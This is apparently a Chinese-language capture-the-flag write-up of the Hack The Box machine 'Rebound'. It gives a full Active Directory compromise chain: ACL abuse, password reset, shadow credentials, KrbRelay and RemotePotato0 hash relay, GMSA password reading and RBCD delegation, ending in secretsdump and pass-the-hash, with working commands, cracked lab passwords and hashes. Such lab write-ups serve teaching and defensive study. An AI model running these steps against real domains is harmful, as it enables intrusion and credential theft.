  • 0x0004：执行权限。

继续延展攻击链条，枚举系统OU

1
Get-DomainOU

微信截图_20250220174212

微信截图_20250220174229

可以观察到只有两个OU，其中一个为Service Users，紧接着我们上面的攻击链开始，如果为oorend写入对ServiceMgmt的GenericAll权限，我们就能获得对Service Users的控制权

我们继续往下推进，我们看一下ServiceMgmt是否属于Service Users组中，我们查看Service Users的ACL

1
Get-DomainObjectAcl -Identity "OU=Service Users,DC=rebound,DC=htb"

微信截图_20250220175638

上图和我们的预期一致，ServiceMgmt 组在 rebound.htb 域中对 OU=Service Users 这个组织单位有 完全控制（FullControl） 权限

现在拿到了OU的权限，接下来延伸OU向外的权限

1
Get-DomainObject -SearchBase "OU=Service Users,DC=rebound,DC=htb"

我们指定搜索的起点从"OU=Service Users,DC=rebound,DC=htb"开始

查询Service Users 组织单位（OU）下的所有对象（如用户、计算机、组等）。

返回该 OU 内所有对象的详细信息，如：

  • Distinguished Name (DN)
  • Object Class (对象类别，如 User、Group)
  • Security Identifier (SID)
  • 访问权限（ACL）
  • 组成员关系等

里面存在两个账户的名称，batch_runner和winrm_svc，这里不关注批处理这个账户，关注这个可能给我们带来winrm远程访问权限的账户

微信截图_20250220180912

1
Get-DomainGroup -MemberIdentity "winrm_svc"

确认在Service UsersOU下

微信截图_20250220181046

完整的攻击链条已经构建完成了，我们拥有了对Service Users的完全控制，并且Service Users包含winrm_svc账户，我们强制对winrm_svc用户密码进行修改就能获得对远程主机的winrm访问权限

bloodhound-python 自动化枚举

1
bloodhound-python -d rebound.htb -c all -u oorend -p '1GR8t@$$4u' -ns 10.10.11.231 --zip -k

获取winrm远程访问权限

获取ServiceMgmt组成员

1
Get-DomainGroupMember -Identity ServiceMgmt

微信截图_20250220181630

增加oorend为ServiceMgmt组成员，此时注意登录的凭据为oorend的

1
Add-DomainGroupMember -Identity ServiceMgmt -Members oorend

进行前后组成员对比

微信截图_20250220194132

利用bloodyAD为Service Users添加GenericAll权限，注意操作要迅速，因为oorend账户会从ServiceMgmt账户中掉出来

1
bloodyAD --host 10.10.11.231 -u oorend -p '1GR8t@$$4u' add genericAll " OU=Service Users,DC=rebound,DC=htb" oorend

微信截图_20250220213041

1
bloodyAD --host 10.10.11.231 -u oorend -p '1GR8t@$$4u' set password winrm_svc Chromos2me

微信截图_20250220213651

利用evil-winrm进行登录

1
sudo evil-winrm -i rebound.htb -u winrm_svc -p Chromos2me

微信截图_20250220213849

接下来获得user.txt即可

利用Shadow Credentials（替代修改winrm_svc的密码）

修改密码的方式会在一段时间后失效，同时修改密码的操作可能会引起蓝队操作人员的关注，我们使用另一种方式实现shell的获取，即Shadow Credentials，这种方法会给我们提供winrm_svc账户的哈希，我们仍然可以用于winrm登录，也叫做UnPAC the hash，主要流程在之后的文章中介绍，先给一个流程图

unpacthehash_schema

在我们获得对Service Users组的GenericAll权限（即我们所熟知的FullControl）之后，我们将FullControl权限延展到属于这个OU的对象中，我们关注一下BloodHound中的Descendant Objects

微信截图_20250223163937

我们将权限拓展到子对象winrm_svc上，下面的命令效果和我们之前的bloodyAD实现的一样

1
impacket-dacledit rebound.htb/oorend:'1GR8t@$$4u' -k -dc-ip 10.10.11.231 -action write -rights FullControl -inheritance -principal oorend -target-dn "OU=Service Users,DC=rebound,DC=htb" -use-ldaps

impacket-dacledit：用于编辑 Active Directory 对象的DACL（Discretionary Access Control List）。它可以用于修改对象的权限，赋予指定用户不同级别的权限。

-rights FullControl: 指定要分配给目标用户或组的权限。

-inheritance：表示权限继承。这意味着权限将从父对象传递给目标对象的子对象。

-principal oorend：目标用户或组。在这种情况下，oorend 用户将获得指定权限（FullControl）到目标对象。

-target-dn "OU=Service Users,DC=rebound,DC=htb"：指定目标对象的 Distinguished Name (DN)，即我们要修改的 AD 对象。

执行Shadow Credentials攻击

1
certipy shadow auto -u oorend@rebound.htb -p '1GR8t@$$4u' -account winrm_svc -target dc01.rebound.htb -dc-ip 10.10.11.231 -k

或者参考下面的文章

https://blog.csdn.net/qq_41874930/article/details/119637917

Cross Session Lateral Movement

winrm_svc用户家目录没有其他有价值的东西

微信截图_20250223173517

使用ls -recurse .也是一个不错的选择

我们现在要确定下一步的高价值目标，我们在查看当前机器上运行的进程时发现存在两个session，也就是说这台机器上还存在另一个已经登录的用户

微信截图_20250223174952

那么我们可以猜测另一个已经登录的账户可能是一个高特权账户，我们需要对其进行利用

我们这里有一个命令qwinsta（Query WINdows STAtion）是 Windows 内置的命令行工具，用于查询当前系统上的远程桌面会话（RDP 会话）或本地会话的状态信息。

1
>qwinsta [用户名 | 会话名 | 会话 ID] [/server:服务器名] [/mode] [/connect] [/counter]

常见的参数有

参数 作用
无参数 显示本地计算机上的所有会话信息。
/server:<服务器> 指定查询的远程服务器（默认为本地）。
<用户名> 查询指定用户的会话信息。
<会话名> 查询指定会话名的会话信息。
<会话 ID> 查询指定会话 ID 的会话信息。
/mode 显示会话的当前模式（如连接模式）。
/connect 显示连接的详细信息。
/counter 显示会话的统计数据。

在我们具有特定的Windows权限时，我们可以劫持管理员RDP会话

tscon（Terminal Services CONnect）是 Windows 终端服务的一个命令行工具，用于连接或切换到指定的远程桌面会话（RDP 会话）。在权限足够的情况下，攻击者可以利用它来劫持管理员的 RDP 会话，从而无需凭据直接获取管理员权限。

1
>tscon <SessionID> [/dest:<DestinationName>] [/password:<Password>] [/v]

参数有

参数 作用
<SessionID> 需要切换的会话 ID，可使用 qwinsta 查询。
/dest:<目标> 目标会话名称（如 console）。
/password:<密码> 用于切换会话时提供密码（一般不常用）。
/v 详细模式，显示执行过程信息。

但是这个命令无法运行在我们的目标机器上，我们需要使用RunasCs这个工具，它存在已经编译过的版本，我们直接传到靶机上即可

1
upload /home/chromosome/HTB/Rebound/RunasCs.exe /tools/RunasCs.exe

命令如下

1
RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation]

让我们确认一下当前机器上还有哪个用户在登录（利用Run a command simulating the /netonly flag of runas.exe）

1
.\RunasCs.exe oorend '1GR8t@$$4u' -l 9 "qwinsta"

-l logon_type的值可以在下面的网址中找到

https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types

和我们分析的一样，存在一个tbrady用户

微信截图_20250224190531

利用bloodhound分析tbrady账户

微信截图_20250224185239

它存在读取GMSA密码的权限

ReadGMSAPassword权限

此权限允许您读取组托管服务帐户（Group Managed Service Account GMSA）的密码。组托管服务帐户是Active Directory中的一种特殊类型对象，该对象的密码由域控制器管理，并在设定的时间间隔内自动更改（检查MSDS-ManagedPasswordInterval属性）。

GMSA的预期用途是允许某些计算机帐户检索GMSA的密码，然后以该GMSA身份运行本地服务。拥有授权主体控制权的攻击者可以滥用此权限来模拟GMSA。

GMSA（Group Managed Service Account，组托管服务账户） 是微软在 Windows Server 2012 中引入的一种托管服务账户（MSA, Managed Service Account），主要用于提升安全性和简化密码管理。GMSA 允许多个计算机（如 Web 服务器群集或 SQL 服务器群集）共享一个自动管理的服务账户，并用于运行服务或任务，而不需要手动管理密码。

计算机可以向 DC 请求当前的 GMSA 密码，但不会直接显示密码，而是通过 Kerberos 票据进行身份验证。

GMSA 不能用于交互式登录（即无法直接登录到计算机），只能用于运行服务或任务。

我们接下来将要滥用tbrady账户已经登录的会话，通过触发身份验证回传到我们的机器，并将其中继以转储哈希值。我们有两种方法可以实现上面的攻击方式。

KrbRelay + RunAs

攻击的前提条件为：

LDAP禁用签名的验证

1
faketime "402 minutes" nxc ldap 10.10.11.231 -u oorend -p '1GR8t@$$4u' -M ldap-checker -k

微信截图_20250224191422

对kKrbRelay进行编译，这里需要编译两个文件

微信截图_20250224191534

然后将他们全部上传到靶机上（CheckPort.exe在攻击中并未用到）

1
2
upload /home/chromosome/HTB/Rebound/KrbRelay.exe KrbRelay.exe 
upload /home/chromosome/HTB/Rebound/CheckPort.exe CheckPort.exe

CheckPort.exe：用于发现OXID resolver可用端口的 C# 工具

OXID Resolver： 主要利用了OXID（Object Exchange Identifier）的机制，这是 Windows 中用于识别COM（Component Object Model）和DCOM（Distributed Component Object Model）的一种标识符。它与 DCE/RPC（分布式计算环境/远程过程调用）有关，通常涉及到 Windows 远程管理和其他分布式服务的通信。

使用-ntlm指定NTLM认证，使用-session 指定会话号，并提供一个具有正确权限的有效 RPC 服务的 CLSID，在KrbRelay的github仓库中的Windows Server 2019下的Cross-Session Relay值中选择一个即可

1
./RunasCs.exe oorend '1GR8t@$$4u' -l 9 "c:\users\winrm_svc\MyTools\KrbRelay.exe -ntlm -session 1 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182"

使用RunasCs.exe的原因是：该漏洞利用需要一个交互式会话，例如控制台。在这些会话中，凭证被存储在内存中，因此可以被漏洞利用访问，而不像现在使用的 WinRM 远程会话

微信截图_20250224202033

现在我们获得了tbrady的NetNTLMv2哈希，我们可以利用任何的密码破解工具进行自动化解密

1
tbrady::rebound:a69b51d5e3c25c34:4b5740ddf88bad167dd80c375a00d2bb:0101000000000000c058b1acee86db015c815522b83bb4bb0000000002000e007200650062006f0075006e006400010008004400430030003100040016007200650062006f0075006e0064002e006800740062000300200064006300300031002e007200650062006f0075006e0064002e00680074006200050016007200650062006f0075006e0064002e0068007400620007000800c058b1acee86db01060004000600000008003000300000000000000001000000002000003efda9b6b168eda7a080c22519dd8969aad8f27bf444db463d23dd02f0df73580a00100000000000000000000000000000000000090000000000000000000000

解密得到

1
TBRADY::rebound:a69b51d5e3c25c34:4b5740ddf88bad167dd80c375a00d2bb:0101000000000000c058b1acee86db015c815522b83bb4bb0000000002000e007200650062006f0075006e006400010008004400430030003100040016007200650062006f0075006e0064002e006800740062000300200064006300300031002e007200650062006f0075006e0064002e00680074006200050016007200650062006f0075006e0064002e0068007400620007000800c058b1acee86db01060004000600000008003000300000000000000001000000002000003efda9b6b168eda7a080c22519dd8969aad8f27bf444db463d23dd02f0df73580a00100000000000000000000000000000000000090000000000000000000000:543BOMBOMBUNmanda

和前两个账户一样没有winrm的权限

RemotePotato0

它利用了 DCOM 激活服务，并触发了目标机器上当前所有登录用户的 NTLM 认证。要求目标机器上有一个特权用户登录（例如，域管理员用户）。一旦 NTLM Type 1 认证被触发，我们设置一个跨协议的中继服务器，接收特权的 Type 1 消息，并通过解包 RPC 协议并将认证信息封装为 HTTP 协议后，将其中继到第三方资源。在接收端，你可以设置一个进一步的中继节点（例如 ntlmrelayx），或者直接中继到一个特权资源。RemotePotato0 还允许抓取并窃取机器上所有登录用户的 NTLMv2 哈希值。

因为登录的是非管理员特权账户，我们的目标是进行横向移动

利用模块2 Rpc capture (hash) server + potato trigger

1
.\RemotePotato0.exe -m 2 -s 1

会显示出现问题

1
2
3
[!] Detected a Windows Server version not compatible with JuicyPotato, you cannot run the RogueOxidResolver on 127.0.0.1. RogueOxidResolver must be run remotely.
[!] Example Network redirector:
	sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:{{ThisMachineIp}}:9999

这种类型的 RPC 连接将仅针对 TCP 135 端口。由于我无法在 Rebound 上监听 TCP 135（因为它已经在监听合法的 RPC 服务），我将让漏洞利用指向我的主机，然后将流量转发回 RemotePotato0 的 9999 端口。我将在我的主机上运行 socat：sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.231:9999。这样，流量将先到达我的主机的 135 端口，然后被转发回 Rebound 的 9999 端口，在那里 RemotePotato0 正在监听。

我们在本机上设置一个socat监听器

1
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.231:9999

然后在目标机器上运行

1
.\RemotePotato0.exe -m 2 -s 1 -x 10.10.14.31 -p 9999

仍然可以中继到哈希

微信截图_20250225214721

读取GMSA哈希

有多种方式进行读取delegator$账户哈希

bloodyAD

1
2
bloodyAD -d rebound.htb -u tbrady -p '543BOMBOMBUNmanda' --host dc01.rebound.htb
get object 'delegator$' --resolve-sd --attr msDS-ManagedPassword

--resolve-sd：解析对象的安全描述符（Security Descriptor, SD），包括权限和访问控制列表（ACLs）。

--attr msDS-ManagedPassword：专门获取 msDS-ManagedPassword 属性，该属性包含gMSA的托管密码。

返回NTLM哈希和base64编码后的形式

1
2
3
distinguishedName: CN=delegator,CN=Managed Service Accounts,DC=rebound,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:45326e68995ec3b859228fd504be8617
msDS-ManagedPassword.B64ENCODED: J837EVqQxZaVQRIIcfXPa5QslWda+X7BVkj/v1Plp8QPgYPJ/X7cFKRxa2u1c5w32g7mkGxukmnyjgw5p/Q9dWtkO1Ok1CUPFla4DP9uzxHwRJdA7rFn7InTBTjuwXztetP3uqc39Yu8KPdh29wHEeog79QHNqok4LoqyUHzVA9qoZnglYjAKbNIFkafEB+47KIf6mEDmK4rnuGJEG+TaZVKBnw1tJ01+z8QoMiKtXV0GKNzqkTOEsdScQf08w8E6MSSoB2djg2ViXzmpWsQlrbhoGW3Es2C7eSx4wIEespxGn+EhD1N3bgnqbYTShO2xxcDaW7te6rGDkkLLtC5jw==

nxc

1
2
3
4
5
6
 faketime "402 minutes" ldap rebound.htb -u tbrady -p 543BOMBOMBUNmanda -k --gmsa
 
 SMB         10.10.11.231    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAPS       10.10.11.231    636    DC01             [+] rebound.htb\tbrady:543BOMBOMBUNmanda 
LDAPS       10.10.11.231    636    DC01             [*] Getting GMSA Passwords
LDAPS       10.10.11.231    636    DC01             Account: delegator$           NTLM: 45326e68995ec3b859228fd504be8617

GMSAPasswordReader

bloodhound推荐的

delegator$账户仍不适用于winrm登录

利用基于资源的约束委派提权

在bloodhound中寻找delegator$的Constrained Delegations，似乎没有什么特别重要的委派权限

微信截图_20250225222827

我们使用另一个工具重新枚举一下委派权限

1
faketime '402 minutes' impacket-findDelegation 'rebound.htb/delegator$' -dc-ip 10.10.11.231 -k -hashes :45326e68995ec3b859228fd504be8617

我们发现了一个可以利用的约束委派

1
2
3
AccountName  AccountType                          DelegationType  DelegationRightsTo     SPN Exists 
-----------  -----------------------------------  --------------  ---------------------  ----------
delegator$   ms-DS-Group-Managed-Service-Account  Constrained     http/dc01.rebound.htb  No

我们尝试进行利用一下

1
faketime '402 minutes' impacket-getST -spn http/dc01.rebound.htb -impersonate administrator -hashes :45326e68995ec3b859228fd504be8617 -dc-ip dc01.rebound.htb 'rebound.htb/delegator\$'

微信截图_20250226155606

发现出现了报错Probably SPN is not allowed to delegate by user delegator$ or initial TGT not forwardable，说明我们利用的委派不是可以转发的，即没有启用Constrained Delegation with Protocol Transition（其实也就是使用任何身份验证协议这个选项），也就是说S4U2Self 步骤无法生成一个可转发的票据，从而导致 S4U2Proxy 步骤失败

本质上，Service for User to Self（S4U2Self）协议使得一个服务可以代表其他用户请求一个服务票据，但该票据是供其自身使用的。相对地，Service for User to Proxy（S4U2Proxy）协议允许一个服务代表其他用户请求服务票据，但该票据是供其他服务使用的。

我们接下来利用-self选项让程序在S4U2Self请求完票据后停下，返回一张TGS，不再让S4U2Proxy进行转发

1
faketime '402 minutes' impacket-getST -spn http/dc01.rebound.htb -impersonate administrator -hashes :45326e68995ec3b859228fd504be8617 -dc-ip dc01.rebound.htb 'rebound.htb/delegator\$' -self

微信截图_20250226182559

看一下这张票据的属性

1
impacket-describeTicket administrator@delegator\$@REBOUND.HTB.ccache

在Flag属性中缺少forwardable标志

微信截图_20250226182835

现在我们看一下Resource-Based Constrained Delegation流程（来自这篇文章）：

  1. 服务1使用自己的Hash向KDC申请一个TGT票据（可转发的）。
  2. 服务1代表用户申请一个获得针对服务1自身的kerberos服务票据(S4U2SELF过程，返回的票据是不可转发的）这个过程设置Resource-Based Constrained Delegation(RBCD)标志位。
  3. 服务1可以使用来自用户的授权( 在S4U2SELF阶段获得的不可转发的TGS)，然后用该TGS(放在AddtionTicket里面)向KDC请求访问服务2的可转发的TGS。

我们发现这里的第二步的不可转发票据和我们当前的情况十分类似，因此我们可以基于RBCD进行利用。（这里还存在一种思路即强制或等待用户向服务进行身份验证，同时运行一个 Kerberos 监听器但是不是特别适合）

基于这种委派我们主要关注msDS-AllowedToDelegateTo属性（配置传出信任）和msDS-AllowedToActOnBehalfOfOtherIdentity（配置传入信任）

利用步骤仍然参考这篇文章

  1. 拥有一个任意的服务账户1或者计算机账户1
  2. 获得了服务账户2的LDAP权限（即有修改服务账户2属性的权限）
  3. 配置服务1对服务2的约束委派，在服务账户2的用户属性上配置 msDS-AllowedToActOnBehalfOfOtherIdentity 为服务账户1的SID
  4. 发起一个从服务1到服务2的正常的约束委派的流程访问服务2

注：这里在选择服务的时候基于一条约束条件为该服务必须至少有一个 SPN

我们将把ldap_monitor添加到 delegator$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中，从而允许 ldap_monitor委派到 delegator$

将dc01添加到host文件中，否则我们接下来将利用的工具将报错

1
10.10.11.231 dc01 dc01.rebound.htb rebound.htb

执行下面的命令

1
faketime '402 minutes' python3 rbcd.py rebound.htb/delegator$ -hashes :45326e68995ec3b859228fd504be8617 -k -delegate-from ldap_monitor -delegate-to delegator$ -action write -dc-ip dc01 -use-ldaps

-delegate-from ldap_monitor：指定要添加到 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的服务账户，这里是 ldap_monitor。

-delegate-to delegator$：指定目标服务账户，这里是 delegator$。

-action write：指定操作类型为“写入”，即将 ldap_monitor 添加到 delegator$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中。

微信截图_20250226192729

利用powerview验证

1
Get-DomainObject -Identity delegator$

但是在执行完成返回的查询中并没有看到这个属性

微信截图_20250226193105

使用findDelegation再次查看委派

1
faketime '402 minutes' impacket-findDelegation 'rebound.htb/delegator$' -dc-ip 10.10.11.231 -k -hashes :45326e68995ec3b859228fd504be8617

从下图中我们可以看到新添加的委派已经成功添加了

微信截图_20250226192942

到现在为止，RBCD攻击的所有准备已经完成，我们将完成最后的攻击：其核心思想是，我们可以从 ldap_monitor 请求一张针对 delegator$ 的票据，并为模拟的账户创建一张可转发的服务票据（Service Ticket）。

现在让我们选择合适的用户

1
Get-DomainUser -Identity Administrator

管理员账户不能被委派

微信截图_20250226193852

那么我们选择dc01上的机器账户DC01$

这张可转发的ST随后可以利用 delegator$ 的约束委派权限，转发到域控制器（DC），从而为 DC01$ 生成一张针对域控制器的ST。

首先，我们从 ldap_monitor 请求一张针对 delegator$ 的服务票据ST，并模拟 DC01$ 账户。

1
faketime '402 minutes' impacket-getST -spn browser/dc01.rebound.htb rebound.htb/ldap_monitor:'1GR8t@$$4u' -impersonate DC01$

出现KDC_ERR_BADOPTION(KDC cannot accommodate requested option)报错就重新添加一下委派

这时生成的是一张可转发的票据

1
impacket-describeTicket DC01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache

微信截图_20250226195250

现在，我已经拥有了一张作为 DC01$ 针对 delegator$ 的服务票据ST，delegator$ 可以利用这张票据以及约束委派权限，获取一张针对 DC01 的 DC01$ 服务票据。

1
faketime '402 minutes' impacket-getST rebound.htb/delegator\$ -hashes :45326e68995ec3b859228fd504be8617 -spn http/dc01.rebound.htb -additional-ticket DC01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache -impersonate DC01$

-additional-ticket：指定可转发票据，我们将其直接传递给S4U2Proxy，从而能够获取一张针对域控制器的 DC01$ 服务票据ST

1
KRB5CCNAME=DC01$@http_dc01.rebound.htb@REBOUND.HTB.ccache secretsdump.py -k -no-pass dc01.rebound.htb -just-dc-user administrator

利用NTDS.DIT数据库解密

-just-dc-ntlm：所有的NTLM哈希

-just-dc-user：指定的用户哈希

微信截图_20250226211052

微信截图_20250226211114

root flag

winrm登录即可

1
evil-winrm -i 10.10.11.231 -u administrator -H 176be138594933bb67db3b2572fc91b8

微信截图_20250226211553

About this Post

This post is written by Chromos2me, licensed under CC BY-NC 4.0.

#Pentest#Active Directory#Relay Attack#RBCD Attack#Potato#Bloodhound#Roasting#Crypto Spray#Shadow Credentials#Enumerate